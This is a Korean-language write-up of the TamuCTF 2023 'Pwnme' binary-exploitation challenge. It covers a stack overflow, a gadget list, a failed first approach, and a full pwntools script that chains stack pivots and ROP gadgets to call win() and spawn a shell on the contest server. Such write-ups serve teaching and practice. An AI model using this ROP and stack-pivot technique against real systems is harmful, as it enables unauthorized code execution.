Tamu CTF 2023 - Pwnme (pwn, sub rsp, 0x18)

pwn me. that’s it.
Author: _mac_

  • [26 solves / 494 points]

Analysis

바이너리와 커스텀라이브러리를 제공해준다.

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
pwnme(argc, argv, envp);
return 0;
}

문제 바이너리는 위와 같다. 커스텀라이브러리의 함수를 하나 호출해주고 끝난다. puts 같은 것도 없어서 정말 할 것이 없다.

커스텀라이브러리에는 아래 함수가 끝이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t pwnme()
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

setup();
puts("pwn me");
return read(0, buf, 0x48uLL);
}

int win()
{
return system("/bin/bash");
}

정말 할 것이 아무것도 안보이고 코드가 간단해서 뭐 할지 한참을 고민했다. 이럴 땐 가젯을 한번 봐야한다. 그리고 pwnme 함수에서 read 함수를 실행할 때 레지스터 상황도 봐주는 것이 좋다. overflow가 생각보다 크게 안나기 때문에 레지스터 값을 굳이 안바꾸어줘도 되는 것은 안바꾸어주기 위해서이다.

  • 레지스터 상황
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$rax   : 0x48              
$rbx : 0x007fff6312c768 → 0x007fff6312d9b8 → 0x656d6e77702f2e ("./pwnme"?)
$rcx : 0x007feb21b1f931 → 0x5777fffff0003d48 ("H="?)
$rdx : 0x48
$rsp : 0x007fff6312c630 → 0x00000000401185 → <__libc_csu_init+85> pop rsp
$rbp : 0x6161616161616161 ("aaaaaaaa"?)
$rsi : 0x007fff6312c618 → 0x6161616161616161 ("aaaaaaaa"?)
$rdi : 0x0
$rip : 0x007feb21c2e1fd → <pwnme+54> ret
$r8 : 0x00000000401190 → <__libc_csu_fini+0> ret
$r9 : 0x007feb21c38d70 → endbr64
$r10 : 0x007feb21a34bd0 → 0x000f001200001a3f
$r11 : 0x246
$r12 : 0x0
$r13 : 0x007fff6312c778 → 0x007fff6312d9c0 → "SHELL=/bin/bash"
$r14 : 0x0
$r15 : 0x007feb21c67000 → 0x007feb21c682c0 → 0x0000000000000000
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
  • 쓸만해 보이는 가젯들
1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x0000000000401184: pop r12; pop r13; pop r14; pop r15; ret; 
0x0000000000401186: pop r13; pop r14; pop r15; ret;
0x0000000000401188: pop r14; pop r15; ret;
0x000000000040118a: pop r15; ret;
0x0000000000401183: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x0000000000401187: pop rbp; pop r14; pop r15; ret;
0x0000000000401109: pop rbp; ret;
0x000000000040118b: pop rdi; ret;
0x0000000000401189: pop rsi; pop r15; ret;
0x0000000000401185: pop rsp; pop r13; pop r14; pop r15; ret;
0x0000000000401010: call rax;
0x0000000000401191: mov rax, qword ptr [rdi]; ret;
0x0000000000401192: mov eax, dwocrd ptr [rdi]; ret;
0x00000000004011b2: sub rax, rsi; ret;

Worng Idea

처음에 뭔가 수상한 가젯들 보고 아래와 같이 실행시키겠다는 가설을 세웠다. pwnme@gotwin 함수의 오프셋을 구해서 libc leak 없이 라이브러리 함수를 실행시킬 것이다.

1
2
3
4
5
6
7
8
9
10
// 0x000000000040118b: pop rdi; ret; 
rdi = pwnme.got
// mov rax, qword ptr [rdi]; ret;
rax = &pwnme
// 0x0000000000401189: pop rsi; pop r15; ret;
rsi = X
// 0x00000000004011b2: sub rax, rsi; ret;
rax = &pwnme - X
// 0x0000000000401010: call rax;
rip = &pwnme - X (win)
1
2
3
4
5
6
7
8
9
payload = b'a' * 0x18
payload += p64(pop_rdi)
payload += p64(e.got['pwnme'])
payload += p64(mov_rax_rdi) # rax에 립시 주소가 들어갑니다
payload += p64(pop_rsi_r15)
payload += p64(0x18)
payload += p64(0)
payload += p64(sub_rax_rsi)
payload += p64(call_rax)

하지만 길이가 0x10 오버나서 사용하지 못했다. 이 아이디어로 길이를 줄여보려다가 잘 안되어서 다른 아이디어를 생각했다.

Solve

rsp를 위로 계속 올려서 스택 공간을 마련하자는 생각을 했다.

1
.text:0000000000401199                 sub     rsp, 18h

스택 공간을 마련해서 첫번째 생각한 아이디어의 payload를 넣어서 ret 가젯으로 실행시키는 것을 목표로 했다.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

context.arch = 'amd64'

p = remote("tamuctf.com", 443, ssl=True, sni="pwnme")
# p = process('./pwnme')
e = ELF('./pwnme')
libc = ELF('./libpwnme.so')

pop_rdi = 0x40118b
mov_rax_rdi = 0x401191
pop_rsi_r15 = 0x401189
sub_rax_rsi = 0x4011b2
call_rax = 0x401010
sub_rsp_0x18 = 0x401199
ret = pop_rdi + 1
pop1 = 0x40118a

rop_payload1 = p64(ret)
rop_payload1 += p64(pop_rdi)
rop_payload1 += p64(e.got['pwnme'])

rop_payload2 = p64(mov_rax_rdi)
rop_payload2 += p64(pop_rsi_r15)
rop_payload2 += p64(0x18)

rop_payload3 = p64(0)
rop_payload3 += p64(sub_rax_rsi)
rop_payload3 += p64(call_rax)

def spill(values):
payload = b'a'*0x18
payload += p64(sub_rsp_0x18)
payload += b'b'*0x10
payload += values
pause() # picture
p.send(payload)

spill(rop_payload3)
spill(rop_payload2)
spill(rop_payload1)

payload = p64(ret)*7
payload += p64(pop1)
pause()
p.send(payload)

p.interactive()

spill 함수에서 payload에 a*0x10을 추가해준 이유가 pwnme 함수에서 sub rsp, 10h 인스트럭션을 수행하기 때문에 넣어줬다. payload를 순서대로 겹치는 것 없이 정렬시켜줘야하기 때문이다.
pop1을 한 이유는 저 스택 상황에서 보이는게 0x4141414141414141였기 때문에 하나 빼주고 rsp를 내려줬다.

아래는 spill 함수에서 pause()를 이용하여 pwnme 함수의 read에 입력을 보낸 후 rsp를 출력한 상황이다. rop_payload1를 보낼 때 캡쳐했다.


  • 빨간색: pwnme 함수에서 sub rsp, 10h인스트럭션을 수행하여 rsp가 더 높아졌다.
  • 노란색: read 함수에서의 buf 원래 사이즈 + rbp
  • 파란색: payload를 적기 위해 스택 공간을 넓히기 위해 sub rsp, 18h을 수행해야 한다.
  • 연두색: rop_payload가 제대로 이어지기 위해 offset을 맞춰주기 위한 dummy이다.
  • 주황색: 스택 공간이 넓어졌고, 나머지 rop_payload를 써야하는 공간이다. 뒤에도 rop_payload가 적혀있는데 이것과 이어져서 써줘야 한다. 그래서 연두색이 이 이어지기 위한 offset을 맞추기 위한 dummy가 들어가야 한다.

스택에 rop_payload를 다 적어주고 ret를 여러번 실행시켜서 rsprop_payload 있는 곳까지 내려서 실행시키면 끝이다.

Flag

1
gigem{r0p_g4dg3ts_r_c00l}